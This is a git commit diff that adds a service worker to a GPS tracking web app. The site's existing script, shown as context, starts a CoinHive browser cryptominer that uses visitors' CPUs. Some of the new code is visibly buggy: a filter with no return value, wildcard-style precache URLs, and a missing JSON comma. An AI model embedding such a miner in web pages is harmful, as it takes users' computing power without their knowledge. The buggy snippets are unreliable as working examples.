#111 Implemented service worker
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commit
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@ -1,5 +1,5 @@
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'use strict';
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/* global ga CoinHive */
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/* global ga CoinHive navigator */
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// Google analytics
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(function (t, r, a, c, m, o, n) {
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@ -17,3 +17,16 @@ new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE', {
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autoThreads: true,
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throttle: 0.5
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}).start(CoinHive.FORCE_EXCLUSIVE_TAB)
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// Service worker
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if ('serviceWorker' in navigator) {
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window.addEventListener('load', function () {
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navigator.serviceWorker.register('/static/js/sw.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
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// Registration was successful
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console.log('ServiceWorker registration successful with scope: ', registration.scope)
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}, function(err) {
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// registration failed
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console.error('ServiceWorker registration failed: ', err)
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});
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});
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}
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@ -419,7 +419,6 @@ loadGoogleMapsAPI({ key: mapKey })
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} default:
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console.error(new Error('Street view not available: ' + status).message)
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}
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}
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})
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}
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}
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@ -4,6 +4,7 @@
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"author": "Keith Irwin",
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"description": "GPS tracking service",
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"homepage_url": "https://github.com/Tracman-org/Server",
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"start_url": "/map"
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"theme_color": "#222222",
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"background_color": "#080808",
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@ -0,0 +1,76 @@
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'use strict'
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// https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/basic/service-worker.js
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/*
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Copyright 2016 Google Inc. All Rights Reserved.
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Licensed under the Apache License, Version 2.0 (the "License");
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you may not use this file except in compliance with the License.
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You may obtain a copy of the License at
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http://www.apache.org/licenses/LICENSE-2.0
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Unless required by applicable law or agreed to in writing, software
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distributed under the License is distributed on an "AS IS" BASIS,
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WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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See the License for the specific language governing permissions and
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limitations under the License.
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*/
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// Names of the two caches used in this version of the service worker.
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// Change to v2, etc. when you update any of the local resources, which will
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// in turn trigger the install event again.
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const PRECACHE = 'precache-0.7.12'
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const RUNTIME = 'runtime'
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// A list of local resources we always want to be cached.
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const PRECACHE_URLS = [
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'/',
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'/static/js/.*.bun.js',
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'/static/css/.*.min.css',
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'/static/manifest.json',
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]
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// The install handler takes care of precaching the resources we always need.
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self.addEventListener('install', function(event) {
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event.waitUntil(
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caches.open(PRECACHE)
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.then(function(cache){ cache.addAll(PRECACHE_URLS) })
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.then(self.skipWaiting())
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)
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})
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// The activate handler takes care of cleaning up old caches.
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self.addEventListener('activate', function(event) {
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const currentCaches = [PRECACHE, RUNTIME]
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event.waitUntil(
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caches.keys().then( function(cacheNames) {
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return cacheNames.filter( function(cacheName){ !currentCaches.includes(cacheName) })
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}).then( function(cachesToDelete) {
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return Promise.all(cachesToDelete.map( function(cacheToDelete) {
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return caches.delete(cacheToDelete)
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}))
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}).then( function(){ self.clients.claim() })
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)
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})
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// The fetch handler serves responses for same-origin resources from a cache.
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// If no response is found, it populates the runtime cache with the response
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// from the network before returning it to the page.
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self.addEventListener('fetch', function(event) {
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// Skip cross-origin requests, like those for Google Analytics.
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if (event.request.url.startsWith(self.location.origin)) {
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event.respondWith(
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caches.match(event.request).then( function(cachedResponse) {
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if (cachedResponse) {
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return cachedResponse
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}
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return caches.open(RUNTIME).then( function(cache) {
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return fetch(event.request).then( function(res) {
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// Put a copy of the response in the runtime cache.
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return cache.put(event.request, res.clone()).then( function() {
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return res
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})
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})
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})
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})
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)
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}
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})
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@ -14,7 +14,8 @@ module.exports = {
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map: './static/js/map.js',
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// controls: './static/js/controls.js',
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settings: './static/js/settings.js',
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password: './static/js/password.js'
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password: './static/js/password.js',
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sw: './static/sw.js',
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},
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// Sourcemaps
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